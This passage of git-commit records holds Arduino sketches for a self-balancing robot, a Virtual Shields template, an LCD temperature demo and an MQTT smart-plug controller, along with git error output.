stringToNumber(comandoRecibido.substring(8, 9));\n Serial.print(instruccion);\n Serial.print(\" \");\n Serial.print(anguloSH);\n Serial.print(\" \");\n Serial.println(anguloSV);\n \/\/ Serial.print(\" \");\n \/\/Serial.println(speedServo);\n\n \/\/ *********** ESTRUCTURA DE LA COMUNICACI\u00d3N *******************\n \/\/\n \/\/ ****** PARA MICROSERVOS: **********\n \/\/ XX 000 000 0\n \/\/ INSTRUCCION GRADOS_SH GRADOS_SV VELOCIDAD\n \/\/ SV 180 180 0\n \/\/\n \/\/\n \/\/ ****** PARA MOVIMIENTO MOTORES: ********\n \/\/ XX 000 000 0\n \/\/ INSTRUCCION PASOS_M_DERECHO PASOS_M_IZQUIERDO VELOCIDAD **** HAY QUE PERFECCIONARLO ******\n\n if (!(instruccion.compareTo(\"SV\"))) {\n moverServoVertical(anguloSV);\n comandoRecibido = \"\";\n }\n if (!(instruccion.compareTo(\"SH\"))) {\n moverServoHorizontal(anguloSH);\n comandoRecibido = \"\";\n }\n if (!(instruccion.compareTo(\"FR\"))) {\n servosFrente();\n comandoRecibido = \"\";\n }\n if (!(instruccion.compareTo(\"VE\"))) {\n servoVector(anguloSH, anguloSV);\n comandoRecibido = \"\";\n }\n }\n }\n\n tiempo_valor = millis();\n\n \/* ************ DATOS DEL ACELEROMETRO\/GIROSCOPIO *********************** *\/\n Wire.beginTransmission(MPU);\n Wire.write(0x3B);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 6, true);\n\n AcX = Wire.read() << 8 | Wire.read();\n AcY = Wire.read() << 8 | Wire.read();\n AcZ = Wire.read() << 8 | Wire.read();\n\n Acc[1] = atan(-1 * (AcX \/ A_R) \/ sqrt(pow((AcY \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n Acc[0] = atan((AcY \/ A_R) \/ sqrt(pow((AcX \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n\n Wire.beginTransmission(MPU);\n Wire.write(0x43);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 4, true);\n\n GyX = Wire.read() << 8 | Wire.read();\n GyY = Wire.read() << 8 | Wire.read();\n\n Gy[0] = GyX \/ G_R;\n Gy[1] = GyY \/ G_R;\n\n Angle[0] = 0.98 * (Angle[0] + Gy[0] * 0.010) + 0.02 * Acc[0];\n Angle[1] = 0.98 * (Angle[1] + Gy[1] * 0.010) + 0.02 * Acc[1];\n\n \/\/Serial.print(\"Angle X: \"); Serial.print(Angle[0]); Serial.print(\"\\n\");\n \/\/Serial.print(\"Angle Y: \"); Serial.print(Angle[1]); \/\/ Angulo necesario\n delay(2);\n\n float tiempoAnterior = tiempoActual;\n tiempoActual = micros();\n float tiempoPasado = (tiempoActual - tiempoAnterior); \/\/tiempo pasado desde ciclo anterior en microsegundos\n tiempo = tiempoPasado \/ 1000; \/\/tiempo del ciclo en milisegundos\n anguloActual = Angle[1];\n\n float velo = ((vel1 + vel2) \/ 2);\n velocidadMedia = velo;\/\/0.95 * velocidadMedia + 0.05 * velo;\n angObj = -velocidadPID(tiempo, velocidadMedia, velocidadDeseada, Kps, Kis , Kds) ;\n anguloObjetivo = 0.02 * angObj + 0.98 * anguloObjetivo;\n anguloObjetivo = constrain (anguloObjetivo , -MAX_ANG, MAX_ANG);\n float resultadoanguloPID = anguloPID (anguloActual, anguloObjetivo, Kp, Kd, Ki, tiempo);\n\n if ((anguloActual < 55) && (anguloActual > -55)) \/\/ Esta el robot de pie????\n {\n if (anguloActual < (anguloObjetivo + H) && anguloActual > (anguloObjetivo - H) && (velocidad < V && velocidad > -V))\n {\n CLR(PORTA, 4);\n vel1 = 0 - giro ;\n vel2 = 0 + giro ;\n integralSum = 0;\n setSpeed_Motor_A(vel1);\n setSpeed_Motor_B(vel2);\n } else\n {\n CLR(PORTA, 4);\n velocidad = resultadoanguloPID;\n vel1 = velocidad + giro ;\n vel2 = velocidad - giro ;\n vel1 = constrain(vel1, -VEL_MAX, VEL_MAX);\n vel2 = constrain(vel2, -VEL_MAX, VEL_MAX);\n setSpeed_Motor_A(vel1);\n setSpeed_Motor_B(vel2);\n }\n }\n else\n {\n SET(PORTA, 4);\n setSpeed_Motor_A(0);\n setSpeed_Motor_B(0);\n integralSum = 0;\n anguloPID_errorSum = 0;\n }\n\n}\/* ************** FINAL LOOP ******************** *\/\n\n\/\/ TIMER 4 : STEPPER MOTOR_A SPEED CONTROL ********* ISR ****************\nISR(TIMER4_COMPA_vect) \/\/16bits\n{\n SET(PORTA, 0); \/\/ STEP MOTOR A\n delay_1us();\n delay_1us();\n CLR(PORTA, 0);\n}\n\/\/TIMER 5 : STEPPER MOTOR_B SPEED CONTROL\nISR(TIMER5_COMPA_vect) \/\/16bits\n{\n SET(PORTA, 2); \/\/ STEP MOTOR B\n delay_1us();\n delay_1us();\n CLR(PORTA, 2);\n}\n\/* ******************************************************************** *\/\n\/* **************** setSpeed_Motor_A ******************* *\/\n\/* ******************************************************************** *\/\nvoid setSpeed_Motor_A(int16_t tspeed) {\n\n long timer_period;\n int16_t speed;\n\n if ((velocidad_Motor_A - tspeed) > MAXIMA_ACELERACION)\n velocidad_Motor_A -= MAXIMA_ACELERACION;\n else if ((velocidad_Motor_A - tspeed) < -MAXIMA_ACELERACION)\n velocidad_Motor_A += MAXIMA_ACELERACION;\n else\n velocidad_Motor_A = tspeed;\n\n speed = velocidad_Motor_A * 46; \/\/ Adjust factor from control output speed to real motor speed in steps\/second\n\n if (speed == 0)\n {\n timer_period = ZERO_SPEED;\n dir_Motor_A = 0;\n }\n else if (speed > 0)\n {\n timer_period = 2000000 \/ speed; \/\/ 2Mhz timer\n dir_Motor_A = 1;\n SET(PORTA, 1); \/\/ DIR Motor 1 (Forward)\n }\n else\n {\n timer_period = 2000000 \/ -speed;\n dir_Motor_A = -1;\n CLR(PORTA, 1); \/\/ Dir Motor 1\n }\n if (timer_period > 65535) \/\/ Check for minimun speed (maximun period without overflow)\n timer_period = ZERO_SPEED;\n \/\/Serial.println(timer_period);\n OCR4A = timer_period;\n \/\/ Check if we need to reset the timer...\n if (TCNT4 > OCR4A)\n TCNT4 = 0;\n}\n\/* ******************************************************************** *\/\n\/* **************** setSpeed_Motor_B ******************* *\/\n\/* ******************************************************************** *\/\n\nvoid setSpeed_Motor_B(int16_t tspeed) {\n\n long timer_period;\n int16_t speed;\n\n if ((velocidad_Motor_B - tspeed) > MAXIMA_ACELERACION)\n velocidad_Motor_B -= MAXIMA_ACELERACION;\n else if ((velocidad_Motor_B - tspeed) < -MAXIMA_ACELERACION)\n velocidad_Motor_B += MAXIMA_ACELERACION;\n else\n velocidad_Motor_B = tspeed;\n\n speed = velocidad_Motor_B * 46; \/\/ Adjust factor from control output speed to real motor speed in steps\/second\n\n if (speed == 0)\n {\n timer_period = ZERO_SPEED;\n dir_Motor_B = 0;\n }\n else if (speed > 0)\n {\n timer_period = 2000000 \/ speed; \/\/ 2Mhz timer\n dir_Motor_B = 1;\n SET(PORTA, 3); \/\/ DIR Motor 1 (Forward)\n }\n else\n {\n timer_period = 2000000 \/ -speed;\n dir_Motor_B = -1;\n CLR(PORTA, 3); \/\/ Dir Motor 1\n }\n if (timer_period > 65535) \/\/ Check for minimun speed (maximun period without overflow)\n timer_period = ZERO_SPEED;\n \/\/Serial.println(timer_period);\n OCR5A = timer_period;\n \/\/ Check if we need to reset the timer...\n if (TCNT5 > OCR5A)\n TCNT5 = 0;\n}\n\n\/* ************************************************************************** *\/\n\/* **************** CONTROL PID (B-ROBOT) ******************* *\/\n\/* ** modificar el los algoritmos para mejorar la estavilidad y velocidad ** *\/\n\/* ************************************************************************** *\/\n\nfloat anguloPID (float anguloActual, float anguloDeseado, float Kp, float Kd, float Ki, float tiempo) {\n\n float errorAnguloActual;\n float anguloCalculado;\n\n errorAnguloActual = anguloDeseado - anguloActual;\n\n float propAng = Kp * errorAnguloActual;\/\/ * 0.1;\n float inteAng = Ki * integralSum * tiempo;\/\/ * 0.001;\n float deriAng = Kd * Gy[0] \/ tiempo ;\n\n\n anguloCalculado = propAng + inteAng + deriAng;\n errorAnguloAnterior = errorAnguloActual;\n\n return (anguloCalculado);\n}\n\nfloat velocidadPID(float DT, float velMedia, float velObjetivo, float Kp, float Ki, float Kd) {\n\n float errorVelocidadActual;\n float velocidadCalculada;\n\n errorVelocidadActual = velObjetivo - velMedia;\n\n \/\/ anguloPID_errorSum += constrain(errorVelocidadActual, -ITERM_MAX_ERROR, ITERM_MAX_ERROR);\n \/\/ anguloPID_errorSum = constrain(anguloPID_errorSum, -ITERM_MAX, ITERM_MAX);\n\n \/\/Serial.println(anguloPID_errorSum);\n float propVel = Kp * errorVelocidadActual;\n float integVel = Ki * anguloPID_errorSum * DT * 0.001;\n float deriVel = Kd * (errorVelocidadActual - errorVelociadAnterior) \/ DT;\n\n velocidadCalculada = propVel + integVel + deriVel;\n errorVelociadAnterior = errorVelocidadActual;\n\n return (velocidadCalculada);\n}\n\nvoid moverServoVertical(int grados) {\n servoVertical.write(grados);\n}\nvoid moverServoHorizontal(int grados) {\n servoHorizontal.write(grados);\n}\nvoid servosFrente() {\n servoHorizontal.write(96);\n servoVertical.write(32);\n Serial.println(\"Servos al frente desde la funcion\");\n}\nvoid servoVector(int shAngulo, int svAngulo) {\n servoHorizontal.write(shAngulo);\n servoVertical.write(svAngulo);\n}\n\nint stringToNumber(String thisString) {\n int i, value, length;\n length = thisString.length();\n char blah[(length + 1)];\n for (i = 0; i < length; i++) {\n blah[i] = thisString.charAt(i);\n }\n blah[i] = 0;\n value = atoi(blah);\n return value;\n}\n\nvoid delay_1us() {\n\n __asm__ __volatile__ (\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/mega_06062017_motores_mas_servos_correcto_limpio_de_variables.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4713b16126df776cfe80dc3da8b14908901f6dae","subject":"added simple starting template","message":"added simple starting template\n","repos":"webhost\/virtual-shields-arduino,webhost\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino,zfields\/virtual-shields-arduino,webhost\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino,zfields\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,webhost\/virtual-shields-arduino","old_file":"VirtualShield\/examples\/StartingTemplate-Simple\/StartingTemplate-Simple.ino","new_file":"VirtualShield\/examples\/StartingTemplate-Simple\/StartingTemplate-Simple.ino","new_contents":"#include <ArduinoJson.h>\n\n#include <VirtualShield.h>\n#include <Text.h>\n\nVirtualShield shield;\nText screen = Text(shield);\n\nvoid refresh(ShieldEvent* shieldEvent)\n{\n \/\/ put your refresh code here, which runs when Bluetooth connects or the 'refresh' button is pressed in the app:\n screen.clear();\n screen.printAt(1, \"Hello Virtual Shields\");\n}\n\nvoid setup() \n{\n \/\/ set up virtual shield events: \n shield.setOnRefresh(refresh);\n shield.begin(); \/\/assumes 115200 Bluetooth baudrate\n\n \/\/ put your setup code here, to run once:\n}\n\nvoid loop() \n{\n shield.checkSensors();\n\n \/\/ put your main code here, to run repeatedly:\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VirtualShield\/examples\/StartingTemplate-Simple\/StartingTemplate-Simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"145ce25029673d876896592036c86c0a464ca1ac","subject":"Removed debugging print statements.","message":"Removed debugging print statements.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8b94a44340b1f564344da195c4bbef8c4271341b","subject":"Added 2nd version of stepper code","message":"Added 2nd version of stepper code\n\nAdded copy of basic stepper code for experimentation.\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"graham's test code\/experimental_stepper_code\/experimental_stepper_code.ino","new_file":"graham's test code\/experimental_stepper_code\/experimental_stepper_code.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f2ff41f09265c955d61a6e6053dfc9210384d2ed","subject":"Adding an LCD temperature monitor example sketch.","message":"Adding an LCD temperature monitor example sketch.\n","repos":"SinishaDjukic\/Meshwork,SinishaDjukic\/Meshwork,kc9jud\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,dansut\/Cosa,SinishaDjukic\/Meshwork,rrobinet\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,dansut\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa","old_file":"examples\/Sandbox\/CosaLCDtemperature\/CosaLCDtemperature.ino","new_file":"examples\/Sandbox\/CosaLCDtemperature\/CosaLCDtemperature.ino","new_contents":"\/**\n * @file CosaLCDtermperature.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa LCD demo with 1-wire temperature\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/IOStream.hh\"\n#include \"Cosa\/OWI\/Driver\/DS18B20.hh\"\n#include \"Cosa\/LCD\/Driver\/HD44780.hh\"\n\nHD44780::Port port;\nHD44780 lcd(&port);\nIOStream console(&lcd);\n#if defined(__ARDUINO_TINYX4__)\nOWI owi(Board::D5);\n#else\nOWI owi(Board::D11);\n#endif\nDS18B20 sensor(&owi);\n\nvoid setup()\n{\n Watchdog::begin();\n lcd.begin();\n sensor.connect(0);\n}\n\nvoid loop()\n{\n sensor.convert_request();\n sensor.read_scratchpad();\n console << clear << sensor << PSTR(\" C\");\n SLEEP(2);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaLCDtemperature\/CosaLCDtemperature.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"bbd1b641ebbdbfbf63562c328beb860aed2d5fad","subject":"Detection and block of long stimulation added to TENS","message":"Detection and block of long stimulation added to TENS\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/HHISpikerBox\/HHISpikerBox.ino","new_file":"Muscle\/Arduino Code\/HHISpikerBox\/HHISpikerBox.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/HHISpikerBox\/HHISpikerBox.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8749bc871f61e27120f1c7e0485c043d21c85e9","subject":"Optimize","message":"Optimize\n","repos":"shdxiang\/yunba-smartoffice,shdxiang\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice","old_file":"sketch_yunba\/sketch_yunba.ino","new_file":"sketch_yunba\/sketch_yunba.ino","new_contents":"#include <Ethernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\nconst char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nconst char *g_topic = \"office\";\nconst char *g_devid = \"plug_plc\";\n\n#define BUFSIZE 192\n#define JSON_BUFSIZE 96\n#define PIN_CONTROL 4\n\nuint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x7e};\n\nboolean g_net_status = false;\nchar url[24];\n\nchar broker_addr[24];\nuint16_t port;\n\nunsigned int g_last_check_ms = 0;\nchar client_id[32];\nchar username[24];\nchar password[16];\n\nEthernetClient net;\nMQTTClient *mqtt_client;\n\nuint8_t g_status = 0;\n\nbool get_ip_port(const char *url, char *addr, uint16_t *port) {\n char *p = strstr(url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strchr(p, ':');\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(addr, p, len);\n *port = atoi(q + 1);\n#if 0\n Serial.print(\"i:\");\n Serial.println(addr);\n Serial.print(\"p:\");\n Serial.println(*port);\n#endif\n return true;\n }\n }\n }\n return false;\n}\n\nvoid simple_send_recv(uint8_t *buf, uint16_t *len, const char *host, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(host, port)) {\n Serial.println(\"cs\"); \/\/ connect server\n delay(1000);\n }\n delay(100);\n\n Serial.println(\"wd\"); \/\/ write data\n Serial.println((char *)buf + 3);\n net_client.write(buf, *len);\n net_client.flush();\n\n Serial.println(\"ca\"); \/\/ check available\n while (!net_client.available()) {\n Serial.println(\"..\"); \/\/ wait data\n delay(1000);\n }\n\n Serial.println(\"rd\"); \/\/ read data\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nbool get_host_v2(const char *appkey, char *url) {\n uint8_t buf[BUFSIZE] = {0};\n\n String data(\"{\\\"a\\\":\\\"\");\n data += String(appkey);\n data += String(\"\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\");\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n\n simple_send_recv(buf, &len, \"tick-t.yunba.io\", 9977);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(url, root[\"c\"]);\n return true;\n }\n }\n }\n Serial.println(\"eh\");\n return false;\n}\n\nbool setup_with_appkey_and_devid(const char *appkey, const char *devid) {\n uint8_t buf[BUFSIZE];\n\n if (appkey == NULL) return false;\n\n String data(\"{\\\"a\\\": \\\"\");\n data += String(appkey);\n\n if (devid == NULL) {\n data += String(\"\\\", \\\"p\\\":4}\");\n } else {\n data += String(\"\\\", \\\"p\\\":4, \\\"d\\\": \\\"\");\n data += String(devid);\n data += String(\"\\\"}\");\n }\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n\n simple_send_recv(buf, &len, \"reg-t.yunba.io\", 9944);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(username, root[\"u\"]);\n strcpy(password, root[\"p\"]);\n strcpy(client_id, root[\"c\"]);\n return true;\n }\n }\n }\n\n Serial.println(\"es\");\n return false;\n}\n\nvoid set_alias(const char *alias) {\n mqtt_client->publish(\",yali\", alias);\n}\n\nvoid mqtt_connect() {\n Serial.println(\"cn..\"); \/\/ connecting\n while (!mqtt_client->connect(client_id, username, password)) {\n Serial.println(\"..\");\n delay(1000);\n }\n\n Serial.println(\"co\"); \/\/ connect ok\n\n\/\/ mqtt_client->subscribe(g_topic);\n set_alias(g_devid);\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 2000) {\n boolean st = mqtt_client->connected();\n\/\/ Serial.println(st);\n if (st != g_net_status) {\n Serial.print(\"cs:\");\n g_net_status = st;\n Serial.println(g_net_status);\n }\n\n if (!st) {\n mqtt_client->disconnect();\n delete(mqtt_client);\n init_network();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid set_status(uint8_t status) {\n if (status != 0)\n status = 1;\n\n if (g_status == status)\n return;\n\n g_status = status;\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_CONTROL, LOW);\n } else {\n Serial.println(1);\n digitalWrite(PIN_CONTROL, HIGH);\n }\n report_status();\n}\n\nvoid report_status() {\n String data(\"{\\\"status\\\":\");\n data += String(g_status);\n data += String(\",\\\"devid\\\":\\\"\");\n data += String(g_devid);\n data += String(\"\\\"}\");\n\n Serial.println(data);\n mqtt_client->publish(g_topic, data.c_str());\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n\n bytes[length] = 0;\n Serial.println(bytes);\n\n JsonObject& root = jsonBuffer.parseObject(bytes);\n if (!root.success()) {\n Serial.println(\"js\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"dv\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"plug_set\") == 0) {\n uint8_t st = root[\"status\"];\n set_status(st);\n } else if (strcmp(root[\"cmd\"], \"plug_get\") == 0) {\n report_status();\n }\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n}\n\nvoid init_ethernet() {\n\/\/ IPAddress ip(192,168,2,183);\n\/\/ Ethernet.begin(mac, ip);\n\n Serial.println(\"ie..\"); \/\/ init ethernet\n while (!Ethernet.begin(mac)) {\n Serial.println(\"..\");\n delay(1000);\n }\n\n Serial.print(\"i:\");\n Serial.println(Ethernet.localIP());\n#if 0\n Serial.print(\"s:\");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid init_network() {\n init_ethernet();\n\n \/\/TODO: if we can't get reg info and tick info\n get_host_v2(g_appkey, url);\n get_ip_port(url, broker_addr, &port);\n\n setup_with_appkey_and_devid(g_appkey, g_devid);\n\n mqtt_client->begin(broker_addr, port, net);\n mqtt_connect();\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"in..\"); \/\/ init\n\n pinMode(PIN_CONTROL, OUTPUT);\n digitalWrite(PIN_CONTROL, LOW);\n\n mqtt_client = new MQTTClient();\n init_network();\n\n Serial.println(\"io\"); \/\/ init ok\n}\n\nvoid loop() {\n mqtt_client->loop();\n\n check_connect();\n\n Ethernet.maintain();\n\n delay(100);\n}\n\n","old_contents":"#include <Ethernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\nconst char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nconst char *g_topic = \"office\";\nconst char *g_devid = \"plug_plc\";\n\n#define BUFSIZE 192\n#define JSON_BUFSIZE 96\n#define PIN_CONTROL 4\n\nuint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x7e};\n\nboolean g_net_status = false;\nchar url[24];\n\nchar broker_addr[24];\nuint16_t port;\n\nunsigned int g_last_check_ms = 0;\nchar client_id[24];\nchar username[24];\nchar password[16];\n\nEthernetClient net;\nMQTTClient client;\n\nuint8_t g_status = 0;\n\nbool get_ip_port(const char *url, char *addr, uint16_t *port) {\n char *p = strstr(url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strstr(p, \":\");\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(addr, p, len);\n \/\/sprintf(addr, \"%.*s\", len, p);\n *port = atoi(q + 1);\n Serial.print(\"i:\");\n Serial.println(addr);\n Serial.print(\"p:\");\n Serial.println(*port);\n return true;\n }\n }\n }\n return false;\n}\n\nvoid simple_send_recv(uint8_t *buf, uint16_t *len, const char *host, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(host, port)) {\n Serial.println(\"c\");\n delay(1000);\n }\n delay(100);\n\n net_client.write(buf, *len);\n net_client.flush();\n\n while (!net_client.available()) {\n Serial.println(\"a\");\n delay(1000);\n }\n\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nvoid simple_send_recv2(uint8_t *buf, uint16_t *len, IPAddress ip, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(ip, port)) {\n Serial.println(\"c\");\n delay(1000);\n }\n delay(100);\n\n net_client.write(buf, *len);\n net_client.flush();\n\n while (!net_client.available()) {\n Serial.println(\"a\");\n delay(1000);\n }\n\n *len = net_client.read(buf, BUFSIZE - 1);\n buf[*len] = 0;\n\n net_client.stop();\n}\n\nbool get_host_v2(const char *appkey, char *url) {\n uint8_t buf[BUFSIZE];\n\n String data(\"{\\\"a\\\":\\\"\");\n data += String(appkey);\n data += String(\"\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\");\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n Serial.println((char *)buf + 3);\n\n\/\/ simple_send_recv(buf, &len, \"tick-t.yunba.io\", 9977);\n\n IPAddress ip(101, 200, 229, 48);\n simple_send_recv2(buf, &len, ip, 9977);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(url, root[\"c\"]);\n return true;\n }\n }\n }\n Serial.println(\"e1\");\n return false;\n}\n\nbool setup_with_appkey_and_devid(const char *appkey, const char *devid) {\n uint8_t buf[BUFSIZE];\n\n if (appkey == NULL) return false;\n\n String data(\"{\\\"a\\\": \\\"\");\n data += String(appkey);\n\n if (devid == NULL) {\n data += String(\"\\\", \\\"p\\\":4}\");\n } else {\n data += String(\"\\\", \\\"p\\\":4, \\\"d\\\": \\\"\");\n data += String(devid);\n data += String(\"\\\"}\");\n }\n uint16_t len = data.length();\n\n buf[0] = 1;\n buf[1] = (uint8_t)((len >> 8) & 0xff);\n buf[2] = (uint8_t)(len & 0xff);\n\n memcpy(buf + 3, data.c_str(), len);\n len += 3;\n\n buf[len] = 0;\n Serial.println((char *)buf + 3);\n\n\/\/ simple_send_recv(buf, &len, \"reg-t.yunba.io\", 9944);\n\n IPAddress ip(182, 92, 105, 230);\n simple_send_recv2(buf, &len, ip, 9944);\n\n if (len > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n char *p = (char *)buf + 3;\n if (len == strlen(p)) {\n Serial.println(p);\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(p);\n if (root.success()) {\n strcpy(username, root[\"u\"]);\n strcpy(password, root[\"p\"]);\n strcpy(client_id, root[\"c\"]);\n return true;\n }\n }\n }\n\n Serial.println(\"e2\");\n return false;\n}\n\nvoid set_alias(const char *alias) {\n client.publish(\",yali\", alias);\n}\n\nvoid connect_yunba() {\n Serial.println(\"rc..\");\n while (!client.connect(client_id, username, password)) {\n init_network();\n Serial.println(\".\");\n delay(1000);\n }\n\n\/\/ client.subscribe(g_topic);\n set_alias(g_devid);\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 2000) {\n boolean st = client.connected();\n\/\/ Serial.println(st);\n if (st != g_net_status) {\n Serial.print(\"cst:\");\n g_net_status = st;\n Serial.println(g_net_status);\n }\n\n if (!st) {\n connect_yunba();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid set_status(uint8_t status) {\n if (status != 0)\n status = 1;\n\n if (g_status == status)\n return;\n\n g_status = status;\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_CONTROL, LOW);\n } else {\n Serial.println(1);\n 